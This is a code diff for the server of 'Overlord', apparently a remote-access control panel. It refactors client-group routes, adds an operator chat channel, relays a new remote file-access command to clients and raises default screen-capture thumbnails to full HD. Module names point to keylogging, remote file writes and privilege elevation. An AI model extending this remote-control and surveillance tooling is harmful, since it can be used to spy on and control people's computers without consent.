- return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
- }
- } else {
- success = false;
- return new Response("Bad request", { status: 400 });
- }
-
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- details: action,
- success,
- });
-
- return Response.json({ ok: true });
- } catch (error) {
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- success: false,
- errorMessage: String(error),
- });
- return new Response("Bad request", { status: 400 });
- }
- }
- }
-
- if (url.pathname === "/api/groups") {
- const user = await authenticateRequest(req);
- if (!user) return new Response("Unauthorized", { status: 401 });
-
- if (req.method === "GET") {
- return Response.json({ groups: listGroups() }, { headers: deps.CORS_HEADERS });
- }
-
- if (req.method === "POST") {
- try { requirePermission(user, "clients:control"); } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
-
- let body: any = {};
- try { body = await req.json(); } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
- const name = typeof body?.name === "string" ? body.name.trim() : "";
- const color = typeof body?.color === "string" ? body.color.trim() : "#3b82f6";
- if (!name || name.length > 64) {
- return Response.json({ error: "Name is required and must be 64 characters or fewer" }, { status: 400 });
- }
- if (!/^#[0-9a-fA-F]{6}$/.test(color)) {
- return Response.json({ error: "Color must be a valid hex code (#RRGGBB)" }, { status: 400 });
- }
-
- const group = createGroup(name, color);
- const ip = server.requestIP(req)?.address || "unknown";
- logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `create_group:${name}`, success: true });
- return Response.json(group, { status: 201, headers: deps.CORS_HEADERS });
- }
- }
-
- const groupIdMatch = url.pathname.match(/^\/api\/groups\/(\d+)$/);
- if (groupIdMatch) {
- const user = await authenticateRequest(req);
- if (!user) return new Response("Unauthorized", { status: 401 });
- try { requirePermission(user, "clients:control"); } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
-
- const groupId = Number(groupIdMatch[1]);
-
- if (req.method === "PATCH") {
- let body: any = {};
- try { body = await req.json(); } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
- const existing = getGroup(groupId);
- if (!existing) return Response.json({ error: "Group not found" }, { status: 404 });
-
- const name = typeof body?.name === "string" ? body.name.trim() : existing.name;
- const color = typeof body?.color === "string" ? body.color.trim() : existing.color;
- if (name.length === 0 || name.length > 64) {
- return Response.json({ error: "Name must be 1-64 characters" }, { status: 400 });
- }
- if (!/^#[0-9a-fA-F]{6}$/.test(color)) {
- return Response.json({ error: "Color must be a valid hex code (#RRGGBB)" }, { status: 400 });
- }
-
- const updated = updateGroup(groupId, name, color);
- if (!updated) return Response.json({ error: "Group not found" }, { status: 404 });
- notifyDashboardViewers();
- const ip = server.requestIP(req)?.address || "unknown";
- logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `update_group:${groupId}`, success: true });
- return Response.json({ ok: true, id: groupId, name, color }, { headers: deps.CORS_HEADERS });
- }
-
- if (req.method === "DELETE") {
- const deleted = deleteGroup(groupId);
- if (!deleted) return Response.json({ error: "Group not found" }, { status: 404 });
- notifyDashboardViewers();
- const ip = server.requestIP(req)?.address || "unknown";
- logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `delete_group:${groupId}`, success: true });
- return Response.json({ ok: true }, { headers: deps.CORS_HEADERS });
- }
- }
-
- if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-group") {
- const user = await authenticateRequest(req);
- if (!user) return new Response("Unauthorized", { status: 401 });
- try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
-
- let body: any = {};
- try { body = await req.json(); } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
- const clientIds = body?.clientIds;
- if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
- return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
- }
- if (clientIds.length > 500) {
- return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
- }
-
- const groupId = body?.groupId === null ? null : Number(body?.groupId);
- if (groupId !== null && (isNaN(groupId) || groupId < 1)) {
- return Response.json({ error: "Invalid groupId" }, { status: 400 });
- }
-
- let updated = 0;
- for (const cid of clientIds) {
- if (!canUserAccessClient(user.userId, user.role, cid)) continue;
- if (setClientGroup(cid, groupId)) updated++;
- }
-
- notifyDashboardViewers();
- const ip = server.requestIP(req)?.address || "unknown";
- logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_group:${groupId ?? "none"}:${updated}/${clientIds.length}`, success: true });
- return Response.json({ ok: true, updated, total: clientIds.length, groupId }, { headers: deps.CORS_HEADERS });
- }
-
- const clientGroupMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/group$/);
- if (req.method === "PATCH" && clientGroupMatch) {
- const user = await authenticateRequest(req);
- if (!user) return new Response("Unauthorized", { status: 401 });
- try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
-
- const targetId = clientGroupMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
- if (!clientExists(targetId)) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
-
- let body: any = {};
- try { body = await req.json(); } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
- const groupId = body?.groupId === null ? null : Number(body?.groupId);
- if (groupId !== null && (isNaN(groupId) || groupId < 1)) {
- return Response.json({ error: "Invalid groupId" }, { status: 400 });
- }
-
- const updated = setClientGroup(targetId, groupId);
- if (!updated) {
- return Response.json({ error: "Client not found or group does not exist" }, { status: 404 });
- }
- notifyDashboardViewers();
- const ip = server.requestIP(req)?.address || "unknown";
- logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: groupId ? `set_group:${groupId}` : "clear_group", success: true });
- return Response.json({ ok: true, groupId }, { headers: deps.CORS_HEADERS });
- }
+ const groupResult = await handleClientGroupRoutes(req, url, server, deps);
+ if (groupResult !== null) return groupResult;
return null;
}
diff --git a/Overlord-Server/src/server/ws-chat.ts b/Overlord-Server/src/server/ws-chat.ts
new file mode 100644
index 0000000..b3abecc
--- /dev/null
+++ b/Overlord-Server/src/server/ws-chat.ts
@@ -0,0 +1,60 @@
+import type { ServerWebSocket } from "bun";
+import { getChatHistory, insertChatMessage, getOnlineClientCountForUser } from "../db";
+import { getUserById } from "../users";
+import { hasPermission } from "../rbac";
+import { getConfig } from "../config";
+import * as sessionManager from "../sessions/sessionManager";
+import type { SocketData } from "../sessions/types";
+
+export function handleChatViewerOpen(ws: ServerWebSocket): void {
+ const id = crypto.randomUUID();
+ ws.data.sessionId = id;
+ const userId = ws.data.userId;
+ const userRole = ws.data.userRole || "viewer";
+ const user = userId ? getUserById(userId) : null;
+ const username = user?.username || "Unknown";
+ sessionManager.addChatSession({
+ id,
+ viewer: ws,
+ createdAt: Date.now(),
+ userId: userId || 0,
+ username,
+ userRole,
+ });
+ const retDays = getConfig().chat?.retentionDays ?? 30;
+ const retMs = retDays > 0 ? retDays * 24 * 60 * 60 * 1000 : undefined;
+ const history = getChatHistory(undefined, 50, retMs);
+ const enrichedHistory = history.map((m) => ({
+ ...m,
+ onlineClients: m.userId ? getOnlineClientCountForUser(m.userId) : 0,
+ }));
+ const canWrite = userId ? hasPermission(userRole as any, "chat:write", userId) : false;
+ ws.send(JSON.stringify({ type: "chat_ready", history: enrichedHistory, canWrite, userId: userId || 0 }));
+}
+
+export function handleChatViewerMessage(
+ ws: ServerWebSocket,
+ raw: string | ArrayBuffer | Uint8Array,
+): void {
+ try {
+ const text = typeof raw === "string" ? raw : new TextDecoder().decode(raw as ArrayBuffer);
+ const parsed = JSON.parse(text);
+ if (parsed.type !== "chat_send" || typeof parsed.message !== "string") return;
+ const userId = ws.data.userId;
+ const userRole = ws.data.userRole || "viewer";
+ if (!userId || !hasPermission(userRole as any, "chat:write", userId)) {
+ ws.send(JSON.stringify({ type: "chat_error", error: "Permission denied" }));
+ return;
+ }
+ const msg = parsed.message.trim();
+ if (!msg || msg.length > 2000) {
+ ws.send(JSON.stringify({ type: "chat_error", error: msg ? "Message too long (max 2000 chars)" : "Message is empty" }));
+ return;
+ }
+ const user = getUserById(userId);
+ const username = user?.username || "Unknown";
+ const record = insertChatMessage(userId, username, userRole, msg);
+ const onlineClients = getOnlineClientCountForUser(userId);
+ sessionManager.broadcastChatMessage(JSON.stringify({ type: "chat_message", ...record, onlineClients }));
+ } catch {}
+}
diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
index 8454854..cf7bc2d 100644
--- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
+++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
@@ -111,6 +111,10 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket,
target.ws.send(encodeMessage({ type: "command", commandType: "file_write", id: routedId, payload: actualPayload } as any));
metrics.recordCommand("file_write");
break;
+ case "file_request_access":
+ target.ws.send(encodeMessage({ type: "command", commandType: "file_request_access", id: routedId, payload: actualPayload } as any));
+ metrics.recordCommand("file_request_access");
+ break;
case "file_search":
target.ws.send(encodeMessage({ type: "command", commandType: "file_search", id: routedId, payload: actualPayload } as any));
metrics.recordCommand("file_search");
diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts
index 910c82a..b8a23dc 100644
--- a/Overlord-Server/src/thumbnails.ts
+++ b/Overlord-Server/src/thumbnails.ts
@@ -14,12 +14,12 @@ async function getSharp(): Promise {
}
}
-const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 400));
-const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 225));
+const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920));
+const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080));
const THUMBNAIL_QUALITY = Math.min(95, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 88)));
const MAX_THUMBNAIL_SOURCE_BYTES = Math.max(
256 * 1024,
- Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 8 * 1024 * 1024),
+ Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 16 * 1024 * 1024),
);
const THUMBNAIL_CACHE_MAX = Math.max(
64,
diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts
index 0393fbd..d5f30aa 100644
--- a/Overlord-Server/src/wsHandlers.ts
+++ b/Overlord-Server/src/wsHandlers.ts
@@ -15,8 +15,11 @@ import {
notifyThumbnailGenerated,
requestThumbnailRegen,
} from "./thumbnails";
-import { upsertClientRow, type ClientDbRow } from "./db";
+import { upsertClientRow } from "./db";
import { metrics } from "./metrics";
+import { markClientDbSynced, queueClientDbUpdate, shouldSyncClientToDb } from "./client-db-sync";
+
+export { clearClientSyncState } from "./client-db-sync";
/** Strip control chars and clamp length on client-supplied info strings. */
function sanitizeInfoString(val: unknown, maxLen = 256): string | undefined {
@@ -56,51 +59,6 @@ function sanitizeJsonField(
}
const MAX_PING_RTT_MS = 15_000;
-const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
-const lastClientDbSync = new Map();
-const pendingClientDbUpdates = new Map();
-
-function queueClientDbUpdate(partial: ClientDbRow): void {
- const existing = pendingClientDbUpdates.get(partial.id);
- if (!existing) {
- pendingClientDbUpdates.set(partial.id, { ...partial });
- return;
- }
- pendingClientDbUpdates.set(partial.id, {
- ...existing,
- ...partial,
- id: partial.id,
- lastSeen: partial.lastSeen ?? existing.lastSeen,
- online: partial.online ?? existing.online,
- pingMs: partial.pingMs ?? existing.pingMs,
- });
-}
-
-function flushQueuedClientDbUpdates(): void {
- if (pendingClientDbUpdates.size === 0) {
- return;
- }
- for (const update of pendingClientDbUpdates.values()) {
- upsertClientRow(update);
- }
- pendingClientDbUpdates.clear();
-}
-
-setInterval(flushQueuedClientDbUpdates, CLIENT_DB_SYNC_INTERVAL_MS);
-
-function shouldSyncClientToDb(clientId: string, now: number): boolean {
- const last = lastClientDbSync.get(clientId) || 0;
- if (now - last < CLIENT_DB_SYNC_INTERVAL_MS) {
- return false;
- }
- lastClientDbSync.set(clientId, now);
- return true;
-}
-
-export function clearClientSyncState(clientId: string): void {
- lastClientDbSync.delete(clientId);
- pendingClientDbUpdates.delete(clientId);
-}
export async function handleHello(
info: ClientInfo,
@@ -246,7 +204,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
online: 1,
isAdmin: info.isAdmin,
});
- lastClientDbSync.set(info.id, nowTs);
+ markClientDbSynced(info.id, nowTs);
metrics.recordPing(rtt);
} else {